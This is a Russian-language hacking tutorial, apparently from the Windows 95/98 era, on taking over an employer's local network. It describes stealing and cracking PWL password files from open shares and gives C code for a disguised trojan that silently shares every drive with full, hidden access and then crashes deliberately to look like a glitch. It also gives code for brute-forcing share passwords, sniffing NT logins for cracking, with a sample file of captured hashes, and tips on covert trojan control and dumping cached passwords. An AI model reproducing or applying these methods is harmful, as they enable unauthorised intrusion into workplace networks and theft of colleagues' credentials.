Технология взлома больших локальных сетей
Есть шанс, что кто-то
из вас волей судьбы попал в локальную сеть какого-нибудь предприятия. Например
устроился на работу. И основная масса машин в этой сети работает под управлением
операционок Windows 95/98. Ну и какое у вас еще может быть тут развлечение ?
Конечно. Приятно заиметь всю эту сетку.
И с чего мы начнем ? С исследования, конечно. Пошаримся по сетке, поглядим что
открыто на чтение, что за напись. Находим разные шары, доступные на чтение (например
с именем "install", "temp"), а на запись если и находим,
то это что-то типа "obmen" или "income", и путного ничего
там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары
с именем "c", "d"... Это нам очень интересно. Расшареный
в корне диск, это всегда приятно. :) Первым делом находим папку с Windows и
вытягиваем оттуда все *.PWL файлы и сохраняем у себя на диске. По названиям
этих фалов, по их размеру и количеству мы уже можем сделать кое-какие выводы.
Например файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой
машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если
файлов PWL на машине штук пять, это значит что за машиной сидит довольно много
людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине
валяются без применения. Ведь если вы первый раз входите в систему, для вас
создается новый PWL, в котором будут храниться ...
Что мы может найти в PWL ? Начнем вскрытие. Берем любую ломалку паролей и действуем
согласно инструкции. ;) Что мы видим ? PWL - это "копилка" в которую
помещаются все пароли, которые юзер сохраняет, когда шарится по удаленным ресурсам.
Для диалапщиков это обычно так :
(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)
~~~~~~~~~~~~~~
¦ Enter the User Password:
File '1.PWL' has size 948 bytes, version [W95osr2_Win98]
for user '1' with password '' contains:
-[Type]-[The resource location
string]--------------[Password]-
Dial *Rna\My Connection\ZZ-top XXXXXXX
Dial *Rna\My Connection\ZZ-TOP XXXXXXX
Dial *Rna\My Connection\ZZTOP XXXXXXX
Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX
Dial *Rna\TiNET 2\ZZTOP XXXXXXX
Dial *Rna\TiNET\neoxars XXXXXXX
Dial *Rna\TiNET\NeoXars XXXXXXX
---------------------------------------------------------------
¦ Indexed Entryes: 1; Number of resources: 7.
(реальные пароли я забил знаком "X")
Для локалщиклов, например, так :
File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]
for user 'SANJA' with password 'QUAKE' contains:
-[Type]-[The resource location
string]--------------[Password]-
Link ASH\EMAIL XXXXXX
Link ASH\INTERNET XXXXXX
Link ASH\RED XXXXXX
Link ASH\TI_UART
Dial ! crypt_Blizzard_Storm XXXXX
Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX
MAPI MAPI MAPI
---------------------------------------------------------------
_ Indexed Entryes: 4; Number of resources: 7.
Все пароли, хранящиеся в PWL закрыты тольно одним паролем - тем, который вводится
при входе в систему. И чаще всего его или нет, или он короткий. Поэтому мы легко
их вскываем и получаем доступ к другим машинам. Затем вытягиваем с них PWL и
поступаем так же. И можно было бы сказать что подбор паролей вручную морально
устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет,
тот всегда найдет. ;)
Ну что же ? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать ? Накидать куда только можно, например, програмку, которая расшарит все диски с полным доступом. Называем ее подходящим именем, в расчете на то, что кто-то ее запустит.
// Помещаю программу без
заголовков, которую нельзя просто взять и откомпилировать. :)
~~~~~~~~~~~~~~
share_info_50 shinfo50;
ZeroMemory(&shinfo50,sizeof(shinfo50));
shinfo50.shi50_type=STYPE_DISKTREE;
shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
shinfo50.shi50_remark="";
// Расшариваем 1-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);
shinfo50.shi50_path="C:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 2-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);
shinfo50.shi50_path="D:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 3-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);
shinfo50.shi50_path="E:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 4-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP4$",LM20_NNLEN+1);
shinfo50.shi50_path="F:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 5-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP5$",LM20_NNLEN+1);
shinfo50.shi50_path="G:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 6-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP6$",LM20_NNLEN+1);
shinfo50.shi50_path="H:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
FillMemory((VOID*)0xFFFFFFFF,1,0);
// А это для того, чтобы программа вылетела в трубу, и юзер подумал, что это
просто глюк. :)
// P.S. Все это только for Win95/98. Для NT нужно немного модифицировать.
~~~~~~~~~~~~~~
Теперь на машину - жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом убнобного ? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя шары заканчивается знаком "$". 1) Полный доступ. 2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен. 3) Шара не будет видна всем в сети.
Про троянизацию рассказывать не буду. Тут все ясно.
Ну а если на некоторые машины вы так и не смогли попасть, можно попробывать сломать пароли удаленно перебором. Для этого даже есть специальные програмки. :) Но перебиралку паролей на шары по словарю я не видел и писал ее сам. Вот код, который подключает сетевой диск(Win95/98 only):
~~~~~~~~~~~~~~
// на входе параметры - char *resname, char *password
DWORD RetVal;
NETRESOURCE nr;
nr.lpRemoteName=resname;
nr.dwType=RESOURCETYPE_DISK;
RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
~~~~~~~~~~~~~~
Скажу пару слов об NT. Если в вашем сегменте стоят тачки с NT, можно воспользоваться программой L0phtCrack. Запустить сниффер, который будет слушать все сетевые подключения и сохранять в файл. Затем той же програмкой и вскрываем их. При физическом доступе к машине с NT вообще прекрасно делается... Так я заимел пароли всей кафедры, когда работал в университете. Но об этом не буду. Интересней все если физического контакта нет. Еще может помочь наличие на атакуемой машине Web сервера. Кстати, если даже машина с NT находится в другом сегменте и отснифферить напрямую невозможно, при большом желании можно написать сниффер самому и повесить его на уже хакнутую машину в том сегменте. А вот пример файла, который получается в результате использования осниффенных данных программой L0phtCrack.
LastBruteIteration=,FPA
CharacterSet=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-=[]\;',./`~!@#$%^&*()_+{}|:"<>?
SERVER\VP:"":"":f96f8fa14dfe90676b4aadf399d7c26b18e6a85037ba1101:7f4b23a75a4cf7b5be0cb377241f82a8badc3ff2fb33389d
SERVER\VP:"":"":08bda5f5da2428684a1610e1a0b93a3c1a1e645f0667d596:9bcdccd5f11a5f030b10442286330718b657a7610d1095a1
SERVER\VP:"":"":19d7ccd0847e6953cff447f0682f6e45357025db5acc1267:9d0b0cec945a294e787ae63700cf5ff6d8c53fd2480c0297
SERVER\VP:"":"":8469cb92c5144a507a1656bad4cc826984ee5a8cbdd5f197:89625f621d6c41332b1dc321a6aa2b8e56ca76c5d1c2530f
30\kgv:"123":"123":d6ce9805faa15dd4cb0bef339e05be38f24858abfd37b6d9:092c1aafceec650ac159b55c3a835ba68d37f6173d9aa671
30\kgv:"":"":fd36a2ac5b1789afe30e1ab0e87e43a86db68b794dea9054:4d75250ba76a84e06235fbd73d4e7107545c83a9ceb1d4df
30\nbelaya:"":"":6ceb5ba2a6975bc421b7be722dffff06a5e776e8ca0e1aed:1ecd08bd6f7cc5c8c9912718d04a2328bfe5166c3866b70b
VM\АДМИНИСТРАТОР:"VEGA":"":3861f575b01fabd93b82236ea397d28cbce2e4fc36a36df4:000000000000000000000000000000000000000000000000
Что мы пожем полезного из всего извлечь ? Если жертва имеет выход в интернет,
можно повесить туда свою прогу, какая замэппит порт на прокси (будет осуществлять
перенаправление). Это даже в случае, если до машины вы можете добраться только
по IPX/SPX. (Я так и делал. Прокси из двух половинок, которые связываются между
собой по SPX. Brouser (TCP) -> MyServ1 (SPX) -> MyServ2 (TCP) -> Squid
. Ксати, узнать, шарятся ли с машины по инету можно довольно просто. Загляните,
что там установленно в "Program Files", проверьте "Temporary
Internet Files" (кэш). Узнать настройки можно утянув реестр...
P.S. 1) Если вы пишете троян, то не забывайте о том, что не всегда нужно в нем делать отсылку (по почте, например) PWL файлов, которые затем еще нужно сломать. Ведь можно воспользоваться функцией WNetEnumCachedPasswords (mpr.dll) и вытащить все кешированые пароли текущего пользователя в открытом виде. 2) Не стоит забывать про возможное наличие на машинах firewall-ов. Очень редко отключают Echo Request. Это можно использовать для управления троянами. В поле DATA можно проносить данные через firewall-ы. И вообще эфективнее всего ломануть машину-шлюз, на которую можно повесить сниффер. А вот как писать сниффер под Windows 95/98, я расскажу в следущий раз (если конечно останутся на это силы). :)